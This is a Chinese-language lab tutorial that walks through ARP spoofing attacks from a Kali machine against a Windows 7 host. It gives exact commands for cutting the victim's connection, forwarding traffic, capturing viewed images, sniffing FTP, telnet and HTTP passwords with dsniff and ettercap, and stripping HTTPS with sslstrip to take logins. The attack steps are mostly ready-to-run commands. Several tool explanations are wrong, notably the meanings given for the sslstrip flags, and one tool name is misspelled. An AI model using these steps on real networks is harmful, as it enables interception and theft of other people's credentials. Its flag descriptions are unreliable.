一、ARP基础
1、ARP是根据IP地址获取物理地址(MAC)的tcp/ip协议,仅在局域网中进行
2、arp缓存表:储存ip地址和MAC地址的缓存表。在ARP缓存表中不存在的MAC,才发送ARP请求 向局域网查询
3、ARP常用命令
arp -a:查看ARP缓存表
arp -s:添加静态MAC地址
arp -d:删除ARP缓存表内容
4、ARP 欺骗,又称或ARP攻击:是通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。
如图:
注:以下所有命令自己手输
二、ARP断网攻击
1、实验环境
攻击者kali:
受害者win7:
2、实验步骤
(1)、查看win7、kali的ip地址,win7的ARP缓存表
注:若事先不知道哪个主机、是否存活:可以使用目标识别,如fping命令查看,确定目标
(2)、在win7上一直ping百度,来查看网络连通性
命令:ping -t baidu.com
注:-t:持续ping操作
(3)、使用arpspoof工具,进行arp欺骗
命令:arpspoof -i eth0 -t 192.168.200.105 192.168.200.2
注1:-i:后面参数为网卡名称
-t:后面参数为目标主机和网关
注2:arpspoof原理:攻击者通过毒化受害者的arp缓存,将网关MAC替换成攻击者的MAC
- 若arpspoof命令没有,需要安装dsniff(arpspoof是dsniff的附属工具)
- 安装命令:apt-get install dsniff
- 查看版本信息:arpspoof -h
(4)、查看是否成功
win7的ping请求超时
arp缓存表的网关有了变化,有了两个一样的(一般来说MAC不会有一样的)
三、使用arp欺骗,进行流量转发,抓取图片
注:目标ip流量经过攻击者的网关然后出去
1、kali开启流量转发
命令:echo 1 > /proc/sys/net/ipv4/ip_forward
注1:查看ip_forward的值:cat /proc/sys/net/ipv4/ip_forward
- ip_forward的值为0,表示关闭ip流量转发
- ip_forward的值为1,表示打开ip流量转发
注2:有时不能修改,可以编辑/etc/sysctl.conf,使得net.ipv4.ip_forward = 1,然后sysctl -p更新
2、arp欺骗,与上面一样做法
3、在kali中,另外打开一个kali终端,利用driftnet工具,捕获win7正在浏览的图片(本人没抓到,就不放图了)
命令:drifnet -i eth0
注1:arp欺骗窗口不能关
注2:driftnet原理:监听流量并从观察到的tcp流中提取图像,只能抓取http协议下的网址图片
- 若driftnet命令没有,需要安装
- 安装命令:apt-get install driftnet
四、登录密码获取
1、kali开启流量转发
2、arp欺骗
3、另外打开一个kali终端,使用dsniff进行网络嗅探
命令:dsniff -i eth0 -t 21/tcp=ftp,23/tcp=telnet
注:arp欺骗窗口不能关
4、使用telnet或ftp远程登录,返回攻击机查看结果
注:需要退出登录,才能捕获到
五、http账户密码获取
1、kali开启流量转发
2、arp欺骗
3、另外打开一个kali终端,使用ettercap工具,抓取
命令:ettercap -Tq -i eth0
注:arp欺骗窗口不能关
注:ettercap原理:检测网络内明文数据通讯的安全性
- -T 文本模式输出,不使用图形用户界面
- -q 静默模式
- -i 指定要监听的网络接口
4、访问网站输入账户名和密码,返回攻击机查看结果
六、https账户密码获取
1、kali开启流量转发
2、arp欺骗
3、输入vi /etc/ettercap/etter.conf,进入配置文件
找到如图红框的内容,输入字母i进入编辑模式,把#注释符去掉,保存退出
4、另外打开一个kali终端,输入命令:sslstrip -a -f –k
注1:sslstrip是一个命令行工具,用于将HTTPS连接转换为HTTP连接,以便进行中间人攻击
- -a:将所有请求重定向到攻击者控制的设备上
- -f:强制使用HTTP而不是HTTPS
- -k:忽略证书错误
注2:若没有,安装sslstrip。命令执行:apt-get install sslstrip
5、再另外打开一个kali终端,输入:ettercap -Tq -i eth0
6、访问https协议网站后台,返回攻击机查看情况